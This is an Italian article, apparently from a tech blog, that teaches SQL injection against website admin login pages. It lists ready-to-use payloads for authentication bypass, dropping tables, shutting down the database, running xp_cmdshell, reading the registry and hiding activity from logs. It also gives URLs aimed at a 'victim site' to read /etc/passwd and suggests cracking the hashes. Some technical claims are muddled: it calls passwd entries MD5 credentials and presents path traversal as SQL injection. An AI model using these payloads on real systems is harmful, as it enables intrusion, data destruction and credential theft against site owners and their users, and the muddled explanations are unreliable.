SQL injection è una delle tecniche hacker più vecchie, ma allo stesso tempo ancora molto efficace; la loro efficacia dipende dal fatto che molti dei server di tipo SQL su cui poggiano molti siti e servizi online, sono spesso afflitti da gravi vulnerabilità; ciò permette ad un malintenzionato di “iniettare” una precisa sequenza di codici che permettono all’attaccante di prendere parziale o pieno controllo del database di un server; così facendo si possono pericolosamente eliminare, copiare o modificare i dati qui presenti. Andiamo a vedere quali sono le tecniche maggiormente diffuse per riuscire a sfruttare una vulnerabilità di questo genere. Per prima cosa, coloro equipaggiati con Windows, devono collegarsi al pannello di amministrazione del sito; di solito esso è raggiungibile semplicemente inserendo nella query del sito diciture come “/administrator” oppure “/admin-login”. Ovviamente, sito per sito, i modi per arrivare al pannello di login possono essere diversi l’uno dall’altro. Bene, una volta che abbiamo davanti i nostri occhi la pagina di accesso come admin, possiamo svolgere diverse operazioni per testare l’eventuale vulnerabilità del website. Ecco le seguenti modalità:

Username: admin’ —

Password: nessuna, lasciate vuoto

Effetto: Accesso come amministratore del sito

 

Username: ‘ OR ”=’

Password: ‘ OR ”=’

Effetto: Accesso senza credenziali

 

Username: ‘ ; drop table members–

Password: nessuna, lasciate vuoto

Effetto: Cancellazione di una tabella del database

 

Username: aaaaaaaaaaaaaaa’

Password: ‘ ; shutdown —

Effetto: Chiusura del database

 

Username: ‘ ;EXEC master..xp_cmdshell ‘dir’;–

Password: nessuna, lasciate vuoto

Effetto: Ottenere una lista delle directory mediante l’esecuzione del comando dir

 

Username: ‘ ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,’percorso’,’chiave’–

Password: nessuna, lasciate vuoto

Effetto: Effettuare la lettura di una chiave del registro Windows

 

Username: ‘ or 0=0 –sp_password

Password: nessuna, lasciate vuoto

Effetto: Accesso come primo utente nella lista users. Il valore sp_password permette che la nostra operazione non venga visualizzata nei log del server SQL

Nel caso in cui il sito risulta essere patchato, provvediamo con degli script che potrebbero rilevare l’esistenza di gravi falle di sicurezza nella pagina web. Una prima tecnica è quella di riuscire a ricavare l’intera lista di credenziali iniettando nella query i seguenti codici, tutti attaccati:

www.sitovittima.it/cgi-bin/php.cgi?/etc/passwd

Se dovesse funzionare, vi troverete davanti tutte le credenziali criptate in MD5; una volta salvate in un file di testo, per decriptarle, potete utilizzare servizi online oppure potenti programmi come “Cain & Abel”. Se invece il precedente metodo non ha dato risultati, proviamo con altri script che andremo ad inserire sempre nella query, come il seguente:

www.sitovittima.it/~dumbuser/cool-logs/mlog.html?screen=etc/passwd

Se funziona, il risultato è sempre la comparsa della tabella dei dati di accesso degli utenti del sito.

Se anche la precedente tecnica non ha prodotto alcun risultato, non rimane altro che provare l’ultima change, scrivendo nella query il seguente codice:

www.sitovittima.it/~dumbuser/cool-logs/mylog.html?screen=etc/passwd

Rispetto alla precedente scrittura, varia il parametro /mlog.html? sostituito da /mylog.html?

In generale, tutti coloro che possiedono un sito o che sono in procinto di crearlo, devono prestare particolare attenzione a non lasciare valori facilmente “iniettabili”; come abbiamo visto questi attacchi sono per lo meno alla portata di tutti, molto rischiosi perché permettono di visualizzare a persone non autorizzate dati abbastanza sensibili, per esempio i dati di accesso o altre info importanti di un sito. Ricordiamo che SQL Injection è una tecnica illegale; dato ciò, Io e la Redazione di StartAndGo, non ci assumiamo alcuna responsabilità dell’eventuale uso scorretto della seguente guida; l’articolo è stato creato a scopo informativo e non vuole incitare nessuno a compiere azioni illegali in rete, gravemente punibili dalla legge.